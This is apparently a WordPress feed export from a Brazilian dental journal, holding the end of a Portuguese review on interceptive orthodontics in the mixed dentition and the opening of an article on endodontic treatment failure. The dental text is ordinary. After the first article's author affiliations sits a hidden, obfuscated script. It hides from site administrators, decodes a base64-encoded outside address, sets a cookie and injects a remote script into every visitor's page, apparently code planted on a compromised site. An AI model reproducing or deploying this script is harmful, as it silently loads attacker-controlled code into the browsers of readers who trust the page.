<p class="wp-block-paragraph">Reconhecer alterações no desenvolvimento dentário ainda na fase de dentição mista é essencial para evitar que pequenas discrepâncias evoluam para problemas maiores. A literatura destaca que essa etapa deve ir além da simples observação clínica, incorporando exames radiográficos e avaliações cefalométricas que ajudam a visualizar assimetrias e padrões iniciais de má oclusão que podem passar despercebidos a olho nu (PROFFIT; FIELDS; SARVER, 2019). Quando esse acompanhamento é realizado de forma contínua, torna-se possível entender melhor o crescimento craniofacial de cada criança e, com isso, planejar intervenções mais assertivas e personalizadas (MCNAMARA; FRANCHI, 2018).</p>



<p class="wp-block-paragraph">Definir quando iniciar um tratamento interceptativo é um desafio, pois envolve compreender não apenas o estágio dos dentes, mas também o momento de desenvolvimento ósseo. Por isso, avaliações periódicas ao longo da dentição mista são tão importantes. Estudos mostram que sinais como perda precoce de dentes, discrepâncias de espaço e alterações funcionais, combinados com informações radiográficas sobre mineralização e crescimento radicular, ajudam a estabelecer o timing ideal para agir (BACCETTI; FRANCHI; MCNAMARA, 2005). Também se sabe que intervir em fases que coincidem com picos de crescimento pode potencializar os resultados, já que o organismo responde melhor às correções (SATO; VIEIRA, 2020).</p>



<p class="wp-block-paragraph">A ortodontia interceptativa reúne uma variedade de estratégias pensadas para impedir que más oclusões em formação se tornem mais graves com o tempo. Os mantenedores de espaço, por exemplo, são fundamentais quando há perda precoce de dentes, evitando que o arco dentário se reduza (BELL; LECOMPTE, 2017). Já os expansores palatinos são amplamente utilizados para ampliar a dimensão transversal da maxila. As Pistas de Planas, por sua vez, ajudam a reorganizar padrões funcionais e estimular um equilíbrio muscular adequado. Aparelhos funcionais também são importantes, sobretudo em alterações mandibulares, embora dependam bastante da colaboração da criança para atingir bons resultados (MOYERS, 2016). Cada técnica apresenta vantagens e limites, o que reforça a necessidade de um diagnóstico preciso para escolher a abordagem mais adequada (PROFFIT; FIELDS; SARVER, 2019).</p>



<p class="wp-block-paragraph">Intervir cedo é importante, mas dificilmente um único profissional consegue abordar todas as dimensões envolvidas no crescimento orofacial. Muitas más oclusões têm origem em fatores musculares, respiratórios ou hábitos orais inadequados, o que exige a colaboração de diferentes áreas da saúde. Trabalhar em conjunto com odontopediatras, fonoaudiólogos, otorrinolaringologistas e fisioterapeutas permite atuar não apenas no dente, mas também na função, garantindo resultados mais completos e estáveis (MILANESI et al., 2021). Alterações como respiração oral, sucção de dedo e deglutição atípica, quando não tratadas, podem comprometer ou até mesmo reverter os ganhos obtidos com o tratamento ortodôntico (Marchesan, 2019).</p>



<p class="wp-block-paragraph">A tecnologia tem ampliado as possibilidades na ortodontia interceptativa, tornando os tratamentos mais eficientes e confortáveis. O escaneamento intraoral e os modelos digitais substituem moldagens tradicionais e oferecem maior precisão. Ferramentas como softwares de planejamento e impressão 3D permitem simulações detalhadas e confecção de aparelhos personalizados, incluindo alinhadores voltados especificamente para a dentição mista (GRIBEL et al., 2020). Além disso, materiais bioativos, capazes de interagir positivamente com estruturas dentárias e ósseas, abrem caminho para abordagens menos invasivas. No horizonte, tendências como inteligência artificial e monitoramento remoto prometem tornar o acompanhamento do crescimento craniofacial ainda mais dinâmico e preditivo, trazendo novas possibilidades para a interceptação precoce (KAPILA, 2021)</p>



<p class="wp-block-paragraph"><strong>DISCUSSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A literatura evidencia, de forma consistente, que a aparência dentofacial exerce forte influência nas interações sociais, constituindo um fator sensível especialmente durante a adolescência. Nesse período, características como espaços dentários, dentes ausentes, coloração alterada e incisivos superiores proeminentes figuram entre os principais motivos de agressões e apelidos pejorativos, demonstrando uma relação direta entre má oclusão e vulnerabilidade ao bullying (AL-OMARI et al., 2014; AL-BITTAR et al., 2013).&nbsp;</p>



<p class="wp-block-paragraph">Artese (2019) destaca que adolescentes expostos a esse tipo de violência apresentam até três vezes mais chances de relatar pior qualidade de vida relacionada à saúde bucal, evidenciando o impacto psicossocial significativo dessas alterações. Além disso, o autor ressalta que tais repercussões podem ultrapassar a adolescência, predispondo a quadros de ansiedade, depressão e prejuízos sociais e escolares na vida adulta, conforme também apontado por Wolke e Lereya (2015). Nesse cenário, Artese (2019) reforça que o ortodontista deve assumir um papel ampliado, atento não apenas aos aspectos dentários, mas também aos fatores emocionais, realizando acolhimento adequado, orientando famílias e encaminhando para suporte psicológico quando necessário.</p>



<p class="wp-block-paragraph">A intervenção ortodôntica interceptativa na dentição mista adquire destaque quando analisada sob a perspectiva do desenvolvimento global da criança. A perda prematura de dentes decíduos, por exemplo, não se configura como um evento isolado, mas desencadeia uma série de alterações estruturais no arco dentário. Guimarães e Oliveira (2017) descrevem que essas perdas podem levar ao encurtamento do arco, inclinações e extrusões dos dentes adjacentes, favorecendo o surgimento de apinhamentos e dificultando a trajetória eruptiva dos permanentes. De modo complementar, Sousa, Momesso e Zatta (2010) observam que, quando a formação radicular do dente permanente ainda não está concluída, o processo de cicatrização óssea pode resultar em barreiras fibrosas que retardam sua erupção, reforçando a importância de um acompanhamento clínico contínuo durante essa fase de intensa dinâmica biológica.</p>



<p class="wp-block-paragraph">A etiologia multifatorial das más oclusões reforça essa necessidade de abordagem abrangente. Garib et al. (2013) demonstram que fatores genéticos influenciam o padrão ósseo e facial, enquanto fatores ambientais especialmente os hábitos bucais deletérios exercem impacto significativo no equilíbrio funcional do sistema estomatognático. Silva Filho e Garib (2013) enfatizam que, quando persistentes, esses hábitos podem ultrapassar limites fisiológicos, ocasionando deformidades estruturais. Para uma avaliação completa, exames complementares como radiografias e análises cefalométricas tornam-se indispensáveis, uma vez que permitem a visualização de estruturas não perceptíveis clinicamente (PROFFIT; FIELDS; SARVER, 2019).</p>



<p class="wp-block-paragraph">Nesse contexto, o diagnóstico precoce assume papel central. Ele não se limita à observação das posições dentárias, mas envolve a interpretação integrada dos sinais de crescimento e desenvolvimento craniofacial. Francisco et al. (2024) ressaltam que a dentição mista corresponde a um período de elevada plasticidade óssea, constituindo uma janela biológica favorável para intervenções ortodônticas mais eficazes e menos invasivas do que aquelas realizadas na dentição permanente. Assim, a identificação oportuna de desvios do padrão normal é essencial para o planejamento racional e eficiente da conduta terapêutica.</p>



<p class="wp-block-paragraph">O momento da intervenção, ou timing, constitui outro elemento determinante na ortodontia interceptativa. Baccetti, Franchi e McNamara (2005) evidenciam que parâmetros como mineralização dentária e estágio de crescimento radicular devem ser utilizados para definir o momento correto de intervir. Além disso, intervenções realizadas durante picos de crescimento podem potencializar os resultados, tornando o tratamento mais biológico e previsível, como destacado por Sato e Vieira (2020).</p>



<p class="wp-block-paragraph">Dentro desse contexto, as estratégias interceptativas desempenham papel fundamental na prevenção de agravamentos oclusais. Mantenedores de espaço, conforme indicam Bell e Lecompte (2017), são indispensáveis após a perda prematura de dentes decíduos, prevenindo o colapso do arco. Da mesma forma, aparelhos funcionais e ortopédicos como expansores palatinos, pistas de Planas e dispositivos miofuncionais contribuem para a reorganização funcional, ampliação transversal e modulação muscular (MOYERS, 2016). Contudo, a seleção de qualquer recurso terapêutico deve ser pautada em diagnóstico individualizado e análise criteriosa, como reforçado por Proffit, Fields e Sarver (2019).</p>



<p class="wp-block-paragraph">Outro aspecto de grande relevância é a natureza interdisciplinar dessa abordagem. Alterações funcionais como respiração oral, postura inadequada da língua e deglutição atípica frequentemente participam do surgimento e da manutenção de más oclusões. Milanesi et al. (2021) e Marchesan (2019) demonstram que a integração entre ortodontistas, fonoaudiólogos, otorrinolaringologistas, fisioterapeutas e odontopediatras é essencial para uma abordagem que não apenas trate o sintoma, mas elimine a causa, reduzindo o risco de recidivas.</p>



<p class="wp-block-paragraph">Adicionalmente, os avanços tecnológicos têm ampliado significativamente a precisão diagnóstica e o controle terapêutico. O uso de scanners intraorais, modelos digitais, softwares de planejamento e tecnologias aditivas, como a impressão 3D, tem proporcionado maior acurácia, previsibilidade e conforto ao paciente (GRIBEL et al., 2020). Kapila (2021) destaca que a incorporação da inteligência artificial representa um caminho promissor, permitindo monitoramento contínuo do tratamento e predições mais assertivas do crescimento craniofacial e das respostas biomecânicas.</p>



<p class="wp-block-paragraph">Em síntese, a ortodontia interceptativa na dentição mista constitui uma ferramenta essencial para promover o desenvolvimento oclusal e facial saudável. Seu sucesso depende da combinação entre diagnóstico precoce, compreensão dos mecanismos de crescimento, definição apropriada do timing, atuação interdisciplinar e incorporação de tecnologias avançadas. Quando conduzida de maneira criteriosa, essa abordagem contribui significativamente para a prevenção de complicações futuras, promovendo funcionalidade, estética e melhor qualidade de vida.</p>



<p class="wp-block-paragraph"><strong>CONSIDERAÇÕES FINAIS&nbsp;</strong></p>



<p class="wp-block-paragraph">A intervenção ortodôntica interceptativa na dentição mista evidencia-se como uma estratégia fundamental para prevenir e controlar o desenvolvimento de más oclusões, especialmente diante de fatores como perda precoce de dentes decíduos, hábitos orais deletérios e discrepâncias de espaço. A literatura destaca que essa fase do desenvolvimento apresenta grande plasticidade óssea e oportunidades únicas para guiar a erupção e corrigir alterações ainda iniciais, o que torna o tratamento mais simples, assertivo e biologicamente favorável.</p>



<p class="wp-block-paragraph">Além disso, o diagnóstico precoce, aliado ao uso de exames complementares e ao suporte multiprofissional, potencializa os resultados e contribui para uma abordagem mais completa e individualizada. Os avanços tecnológicos, como escaneamento digital e impressão 3D, reforçam a precisão das intervenções e ampliam as possibilidades terapêuticas. Assim, intervir no momento ideal da dentição mista não só evita agravamentos futuros, como também promove equilíbrio oclusal, funcional e estético, garantindo melhor qualidade de vida ao paciente.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS&nbsp;</strong></p>



<p class="wp-block-paragraph">1 &#8211; AL-BITTAR, J. M.; AL-OMARI, I. K.; HAMDAN, A. M. The prevalence and impact of dental esthetic concerns among adolescents in Jordan. Journal of the American Dental Association, v. 144, n. 6, p. 629-636, 2013. Disponível em: https://doi.org/10.14219/jada.archive.2013.0164. Acesso em: 1 dez. 2025.&nbsp;</p>



<p class="wp-block-paragraph">2 &#8211; AL-OMARI, I. K.; AL-BITTAR, J. M.; HAMDAN, A. M. Impact of dental appearance on the psychosocial well-being of adolescents. European Journal of Orthodontics, v. 36, n. 5, p. 595-601, 2014. Disponível em: https://doi.org/10.1093/ejo/cju004. Acesso em: 1 dez. 2025.&nbsp;</p>



<p class="wp-block-paragraph">3 &#8211; ARTESE, F. O bullying na esfera de atuação do ortodontista. Dental Press Journal of Orthodontics, v. 24, n. 1, p. 9-10, 2019. Disponível em: https://doi.org/10.1590/2177-6709.24.1.009-010.edt. Acesso em: 1 dez. 2025.&nbsp;</p>



<p class="wp-block-paragraph">4 &#8211; BLANCO-RUIZ, Y.; SAN MIGUEL-PENTÓN, A.; ESPINOSA-MORALES, L. Las herramientas predictivas de riesgo, una alternativa diagnóstica en la retención de caninos maxilares. Revista Médica Electrónica, v. 46, e5282, 2024. Disponível em: http://scielo.sld.cu/scielo.php?script=sci_arttext&amp;pid;=S1684-18242024000100022. Acesso em: 1 dez. 2025.&nbsp;</p>



<p class="wp-block-paragraph">5 &#8211; FERREIRA, Flávio Vellini. Ortodontia: diagnóstico e planejamento clínico. 8. ed. São Paulo: Artes Médicas, 2017.&nbsp;</p>



<p class="wp-block-paragraph">6 &#8211; FRANCISCO, J. P. L. Fatores de Diagnóstico em Ortodontia e Ortopedia Facial na Dentição Mista: Reconhecimento das Características Oclusais e Necessidade de Tratamento Precoce. [S. l.]: [s. n.], [20&#8211;]. 13 f. Artigo científico não publicado. Disponível em: Fatores de Diagnóstico em Ortodontia e Ortopedia Facial na Dentição Mista.pdf. Acesso em: 1 dez. 2025.&nbsp;</p>



<p class="wp-block-paragraph">7 &#8211; GATTO, R. C. et al. Impact of bullying on oral-health-related quality of life in adolescents. Dental Press Journal of Orthodontics, v. 23, n. 6, p. 55-63, 2018. Disponível em: https://doi.org/10.1590/2177-6709.23.6.055-063.oar. Acesso em: 1 dez. 2025.&nbsp;</p>



<p class="wp-block-paragraph">8 &#8211; GUZZO, S. C.; FINKLER, M.; REIBNITZ JÚNIOR, C.; REIBNITZ, M. T. Ortodontia preventiva e interceptativa na rede de atenção básica do SUS: perspectiva dos cirurgiões-dentistas da Prefeitura Municipal de Florianópolis, Brasil. Ciência &amp; Saúde Coletiva, v. 19, n. 2, p. 449-460, 2014. DOI: 10.1590/1413-81232014192.22852012.&nbsp;</p>



<p class="wp-block-paragraph">9 &#8211; JAHANBIN, A.; HAGHIFAR, M.; SHAHAMFAR, M. Effect of various educational methods on increasing parents&#8217; awareness of their children&#8217;s preventive orthodontic treatments. Brazilian Journal of Oral Sciences, v. 23, e240396, 2024. DOI: 10.20396/bjos.v23i00.8670396.&nbsp;</p>



<p class="wp-block-paragraph">10 &#8211; KATIB, H. S. et al. Influence of oral habits on pediatric malocclusion: etiology and preventive approaches. Cureus, v. 16, n. 11, p. e72995, 2024. DOI: 10.7759/cureus.72995.&nbsp;</p>



<p class="wp-block-paragraph">11 &#8211; MARQUES, A. C. de F.; PRADO, I. D. do. Tratamento ortodôntico preventivo e interceptivo através de aparelhos guias de erupção: uma revisão de literatura. Revista Ciência e Saúde On-line, v. 4, n. 2, p. 1-13, 2019. Disponível em: https://www.revistaeletronicafunvic.org/index.php/c14ffd10/article/view/145/124. Acesso em: 1 dez. 2025.&nbsp;</p>



<p class="wp-block-paragraph">12 &#8211; MATSUMOTO, Mírian Aiko Nakane; STUANI, Maria Bernadete Sasso; ROMANO, Fábio Lourenço. Ortodontia: abordagens clínicas na dentição mista. 1. ed. Barueri: Manole, 2021.&nbsp;</p>



<p class="wp-block-paragraph">13 &#8211; MEADE, M. J.; DREYER, C. W. Eruption disturbances in the mixed dentition: orthodontic considerations for primary dental care. Australian Dental Journal, v. 67, supl. 1, p. S14-S23, 2022. DOI: 10.1111/adj.12931.&nbsp;</p>



<p class="wp-block-paragraph">14 &#8211; MENDES, B. P.; MAGALHÃES, R. C.; CAETANO, R. M. Ortodontia preventiva e interceptativa: benefícios à saúde oral. Research, Society and Development, v. 12, n. 6, e23812642236, 2023. DOI: <a href="http://dx.doi.org/10.33448/rsd-v12i6.42236">http://dx.doi.org/10.33448/rsd-v12i6.42236</a>.&nbsp;</p>



<p class="wp-block-paragraph">15 &#8211; MOURA, R. A.; SIMPLÍCIO, A. H. de M.; LAU, M. de J. C. C.; AMORIM, A. N. da S. Uso do aparelho progênico modificado na interceptação de mordida cruzada anterior. Research, Society and Development, v. 9, n. 8, e98985110, 2020. DOI: <a href="http://dx.doi.org/10.33448/rsd-v9i8.5110">http://dx.doi.org/10.33448/rsd-v9i8.5110</a>.&nbsp;</p>



<p class="wp-block-paragraph">16 &#8211; PAGLIA, Luigi. Interceptive orthodontics: awareness and prevention is the first cure. European Journal of Paediatric Dentistry, v. 24, n. 1, p. 5-6, 2023. DOI: 10.23804/ejpd.2023.24.01.01.&nbsp;</p>



<p class="wp-block-paragraph">17 &#8211; SCHNEIDER-MOSER, U. E. M.; MOSER, L. Very early orthodontic treatment: when, why and how? Dental Press Journal of Orthodontics, v. 27, n. 2, p. e22spe2, 2022. DOI: 10.1590/2177-6709.27.2.e22spe2.&nbsp;</p>



<p class="wp-block-paragraph">18 &#8211; SILVA, L. A. M. da et al. Utilização dos mantenedores e recuperadores de espaço na ortodontia interceptativa: Revisão dos conceitos atuais. Research, Society and Development, v. 9, n. 11, e1009119627, 2020. DOI: <a href="http://dx.doi.org/10.33448/rsd-v9i11.9627">http://dx.doi.org/10.33448/rsd-v9i11.9627</a>.&nbsp;</p>



<p class="wp-block-paragraph">19 &#8211; SOUZA, R. A. de; REIS, V. S. C.; SILVA, D. F. da. Efetividade do tratamento ortodôntico interceptativo com aparelho removível em crianças com mordida cruzada e mordida aberta na fase de dentadura mista. Research, Society and Development, v. 10, n. 2, e19110212433, 2021. DOI: <a href="http://dx.doi.org/10.33448/rsd-v10i2.12433">http://dx.doi.org/10.33448/rsd-v10i2.12433</a>.&nbsp;</p>



<p class="wp-block-paragraph">20 &#8211; WOLKE, D.; LEREYA, S. T. Long-term effects of bullying. Archives of Disease in Childhood, v. 100, n. 9, p. 879-885, 2015. Disponível em: https://doi.org/10.1136/archdischild-2014-306667. Acesso em: 1 dez. 2025</p>



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<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Faculdade Independente do Nordeste (FAINOR), Vitória da Conquista &#8211; Bahia. *E-mail: jessica.brittopena@gmail.com<br><sup>2</sup>Universidade Vale do Rio Doce (UNIVALE), Governador Valadares &#8211; MG.</p>
<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>INSUCESSO EM TRATAMENTOS ENDODÔNTICOS: CAUSAS, DESAFIOS E PERSPECTIVAS DE SOLUÇÃO</title>
		<link>https://revistaft.com.br/insucesso-em-tratamentos-endodonticos-causas-desafios-e-perspectivas-de-solucao/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Thu, 18 Dec 2025 17:57:52 +0000</pubDate>
				<category><![CDATA[Odontologia]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
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					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202512181457 Janiel Gonçalves SilvaOrientador: Prof. Dr. Nielsen Barros de Sousa RESUMO&#160; As principais causas de falhas no tratamento endodôntico incluem a persistência de bactérias nos canais e no ápice, a qualidade insatisfatória da obturação, a falta de selamento coronário adequado e a inadequada instrumentação. Outros fatores relevantes para o insucesso são as dificuldades [&#8230;]]]></description>
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<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202512181457</p>



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<p class="has-text-align-right wp-block-paragraph">Janiel Gonçalves Silva<br>Orientador: Prof. Dr. Nielsen Barros de Sousa</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<h5 class="wp-block-heading"><strong>RESUMO&nbsp;</strong></h5>



<p class="wp-block-paragraph">As principais causas de falhas no tratamento endodôntico incluem a persistência de bactérias nos canais e no ápice, a qualidade insatisfatória da obturação, a falta de selamento coronário adequado e a inadequada instrumentação. Outros fatores relevantes para o insucesso são as dificuldades com a anatomia dental como presença de canais atrésicos, calcificados ou curvos. O principal objetivo desse estudo foi compreender e identificar as principais falhas que ocorrem, buscando o entendimento das técnicas endodônticas, o uso de novas tecnologias em equipamentos e materiais. A pesquisa foi realizada por meio da revisão de literatura sistemática narrativa, propostas por diferentes autores.&nbsp; Bases de dados consultadas: PubMed, <em>Scientific Electronic Library Online</em> (SciELO), Biblioteca Brasileira de Odontologia (BBO), Google Acadêmico e Periódicos Coordenação de&nbsp;Aperfeiçoamento de Pessoal de Nível Superior (CAPES).&nbsp; Foram utilizados artigos publicados nos últimos 10 (dez) anos.&nbsp; Estudos em português e inglês, artigos originais, revisões relacionadas a falhas endodônticas, e possíveis orientações para minimizar essas falhas. Desta forma é necessário o conhecimento do relativo às possíveis causas da falha do tratamento e como as mesmas ocorrem, sendo necessário o acompanhamento, observando os aspectos, melhoria no diagnóstico com uso de tecnologias avançadas e educação continuada para profissionais de odontologia, a fim de minimizar ao máximo as possíveis falhas do tratamento endodôntico.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras chave</strong>: Endodontia. Reinfecção. Retratamento.<strong>&nbsp;</strong></p>



<h5 class="wp-block-heading"><strong>ABSTRACT&nbsp;</strong></h5>



<p class="wp-block-paragraph">The main causes of failure in endodontic treatment include the persistence of bacteria within the root canals and apical region, inadequate obturation quality, insufficient coronal sealing, and improper instrumentation. Other relevant factors contributing to treatment failure are related to dental anatomy challenges, such as the presence of narrow, calcified, or curved canals. This study aimed to identify and understand the primary reasons for endodontic failures, analyzing current techniques as well as new technologies applied to equipment and materials. The research was conducted through a narrative systematic literature review based on studies from various authors. The consulted databases included PubMed, Scientific Electronic Library Online (SciELO), Brazilian Library of Dentistry (BBO), Google Scholar, and CAPES Journals. Articles published in the last ten years, in Portuguese and English, including original studies and reviews related to endodontic failures and prevention strategies, were included. The findings highlight the importance of understanding the causes of treatment failure and how they occur, emphasizing the need for clinical follow-up, improved diagnostics through advanced technologies, and continuous education for dental professionals to minimize endodontic treatment failures.</p>



<p class="wp-block-paragraph"><strong>Keywords: </strong>Endodontics. Reinfection. Retreatment.</p>



<p class="wp-block-paragraph"><strong>1. INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">O tratamento endodôntico é um procedimento amplamente realizado na odontologia com o objetivo de preservar o elemento dentário na cavidade oral, eliminando a infecção pulpar e permitindo a reabilitação funcional. Para alcançar o sucesso, é necessário que todas as etapas — diagnóstico, instrumentação, irrigação, obturação e selamento coronário — sejam executadas de forma precisa. Apesar dos avanços nos materiais, equipamentos e técnicas clínicas, o tratamento endodôntico ainda apresenta taxas significativas de falhas, muitas vezes relacionadas à complexidade anatômica dos canais radiculares, à persistência microbiana e a erros operatórios.<sup>1&nbsp;</sup></p>



<p class="wp-block-paragraph">O diagnóstico constitui o primeiro passo e um dos aspectos mais críticos&nbsp;para o sucesso do tratamento. A correta identificação da origem da dor, a distinção entre patologias pulpares, a análise criteriosa de exames radiográficos e a utilização de testes complementares são fundamentais para evitar intervenções desnecessárias. Erros nessa etapa podem levar ao tratamento de dentes hígidos, além de comprometer o prognóstico do dente acometido. A literatura enfatiza que diagnósticos incorretos podem gerar sequelas irreversíveis, além de expor o profissional a riscos éticos e legais.<sup>2</sup>&nbsp;</p>



<p class="wp-block-paragraph">Durante a fase operatória, a instrumentação dos canais representa uma das etapas mais suscetíveis a falhas. Acidentes como perfurações, fratura de instrumentos, degraus e bloqueios são recorrentes, especialmente em dentes com anatomia complexa, canais calcificados ou curvos. Uma instrumentação inadequada compromete a remoção do tecido pulpar e de microrganismos, favorecendo a permanência de focos infecciosos. Além disso, erros na determinação do comprimento de trabalho podem resultar em subinstrumentação — que impede a limpeza completa — ou em sobreinstrumentação, que pode causar danos ao tecido periapical e promover inflamação.<sup>2,3</sup>&nbsp;</p>



<p class="wp-block-paragraph">A irrigação, essencial para a desinfecção do sistema de canais radiculares, também pode ser comprometida pela má técnica ou insuficiência de volume. Quando inadequada, permite a sobrevivência de microrganismos resistentes, como <em>Enterococcus faecalis</em>, além de impedir a remoção de <em>smear layer</em> e biofilme. Da mesma forma, a complexidade anatômica dos canais radiculares, marcada por ramificações e regiões de difícil acesso, representa um desafio para a completa desinfecção e modelagem do sistema.<sup>4&nbsp;</sup></p>



<p class="wp-block-paragraph">A obturação do sistema de canais é outra etapa determinante. Quando realizada de forma incompleta, com vazios ou extravasamento de material, compromete o selamento apical e aumenta o risco de infiltração e reinfecção. A ausência de cones de guta-percha, o uso inadequado de cimento e técnicas incorretas de compactação contribuem significativamente para o insucesso. Ainda que a obturação seja executada adequadamente, o selamento coronário final é indispensável para evitar a penetração de saliva e bactérias no interior do dente. A falta de restauração definitiva é uma das principais causas de reinfecção e&nbsp;necessidade de retratamento.<sup>5</sup>&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Paralelamente às questões técnicas, o avanço tecnológico tem permitido&nbsp;melhorias significativas na prática endodôntica. O uso da microscopia operatória proporciona visualização ampliada, auxiliando na identificação de canais acessórios, fraturas e detalhes anatômicos que passariam despercebidos em métodos convencionais. A tomografia computadorizada de feixe cônico (TCFC) amplia a capacidade diagnóstica ao oferecer imagens tridimensionais de alta resolução, essenciais para casos complexos. Sistemas rotatórios de Níquel-Titânio (NiTi), localizadores apicais modernos, técnicas de irrigação ativada e métodos termoplásticos de obturação contribuem para maior precisão, segurança e eficiência no tratamento.<sup>6</sup>&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Além disso, a educação continuada assume papel essencial na&nbsp;endodontia contemporânea. A constante evolução das técnicas e dos materiais exige que o cirurgião-dentista mantenha-se atualizado para oferecer o melhor atendimento e reduzir a ocorrência de erros operatórios. Profissionais capacitados e em constante aprimoramento conseguem identificar fatores de risco, planejar adequadamente os casos e realizar procedimentos com maior previsibilidade.<sup>7</sup>&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Diante desse cenário, torna-se evidente que compreender as causas e&nbsp;consequências das falhas no tratamento endodôntico é fundamental para aprimorar a prática clínica, aumentar as taxas de sucesso e garantir a preservação dos dentes naturais. A análise dessas falhas e das estratégias preventivas representa um elemento essencial para o desenvolvimento da endodontia moderna, contribuindo para melhores resultados terapêuticos e maior qualidade de vida dos pacientes.<sup>8</sup>&nbsp;</p>



<p class="wp-block-paragraph"><strong>2. METODOLOGIA&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">O presente trabalho configura-se como uma revisão de literatura,&nbsp;elaborada com o objetivo de reunir, analisar e sintetizar o conhecimento científico disponível sobre as principais falhas relacionadas ao tratamento endodôntico, bem como suas causas, consequências e possibilidades de prevenção. A escolha desse método justifica-se pela ampla produção científica existente sobre o tema e pela necessidade de uma análise integrativa que permita compreender de maneira crítica o estado atual das evidências. Assim, optou-se por uma revisão narrativa com características sistematizadas, o que possibilitou incluir estudos de diferentes delineamentos e, ao mesmo tempo, garantir maior controle na busca, seleção e análise dos materiais.&nbsp;</p>



<p class="wp-block-paragraph">A pesquisa bibliográfica foi realizada durante o período de janeiro a&nbsp;novembro de 2025, utilizando bases de dados reconhecidas na área odontológica, tais como PubMed/MEDLINE, <em>Scientific Electronic Library Online</em> (SciELO), Biblioteca Brasileira de Odontologia (BBO), Portal de Periódicos Coordenação de Aperfeiçoamento de Pessoal de Nível Superior (CAPES) e Google Acadêmico. A utilização simultânea dessas plataformas permitiu incluir estudos nacionais e internacionais, compondo um panorama amplo e representativo da literatura sobre falhas endodônticas. Para a realização das buscas foram empregados descritores em português e inglês, isolados ou combinados entre si por meio dos operadores booleanos <em>AND</em> e <em>OR</em>. Entre os principais termos utilizados destacam-se “tratamento endodôntico”, “falhas endodônticas”, “instrumentação”, “obturação”, “reinfecção”, “retraimento”, “<em>endodontic treatment</em>”, “<em>endodontic failure</em>”, “<em>root canal instrumentation</em>” e “<em>root canal obturation</em>”. A seleção desses descritores decorreu da necessidade de contemplar os diferentes fatores implicados no sucesso ou insucesso do tratamento endodôntico, abrangendo aspectos técnicos, microbiológicos, anatômicos e restauradores.&nbsp;</p>



<p class="wp-block-paragraph">Com o intuito de assegurar a qualidade e atualidade das informações&nbsp;analisadas, adotaram-se critérios de inclusão que contemplaram artigos publicados nos últimos dez anos, escritos em português ou inglês, com disponibilidade integral e que abordassem, de forma direta, falhas endodônticas, complicações operatórias, reinfecção, obturação inadequada, restauração coronária, retratamento ou avanços tecnológicos aplicados à endodontia. Foram aceitos estudos originais, revisões, ensaios clínicos, revisões sistemáticas e relatos de caso que apresentassem relevância clínica. Em contrapartida, foram excluídos artigos que não guardavam relação direta com o tema, publicações fora do período estabelecido, materiais sem revisão por pares, textos indisponíveis e duplicatas encontradas entre as bases.&nbsp;</p>



<p class="wp-block-paragraph">O processo de seleção dos estudos ocorreu em três etapas sucessivas. Inicialmente, realizou-se a triagem dos títulos e palavras-chave, eliminando-se os textos que claramente não atendiam aos critérios de inclusão. Na segunda etapa, os resumos dos artigos pré-selecionados foram analisados, permitindo identificar aqueles que possuíam pertinência temática. Por fim, os estudos que permaneceram foram lidos integralmente, possibilitando a extração detalhada das informações necessárias para a construção da revisão. Esse procedimento buscou reduzir vieses e garantir maior rigor metodológico na identificação das evidências mais relevantes.&nbsp;</p>



<p class="wp-block-paragraph">Após a leitura integral dos artigos selecionados, iniciou-se a organização&nbsp;e análise dos dados. O conteúdo foi agrupado de acordo com os principais aspectos discutidos na literatura sobre falhas endodônticas, permitindo a construção de uma análise crítica e estruturada. Foram considerados fatores relacionados ao diagnóstico incorreto, à instrumentação inadequada, às intercorrências operatórias, à irrigação deficiente, às falhas de obturação, à infiltração coronária e às implicações microbiológicas decorrentes da persistência de microrganismos no sistema de canais radiculares. Também foram incluídos estudos que abordavam a influência da anatomia complexa na ocorrência de falhas, bem como aqueles que descreviam as consequências clínicas, como dor persistente, desenvolvimento de lesões periapicais e necessidade de retratamento ou cirurgia apical. Paralelamente, analisaram-se estratégias de prevenção e condutas recomendadas, incluindo o avanço de novas tecnologias, como o uso de microscopia operatória, tomografia computadorizada de feixe cônico, sistemas rotatórios de NiTi e métodos aprimorados de irrigação e obturação.&nbsp;</p>



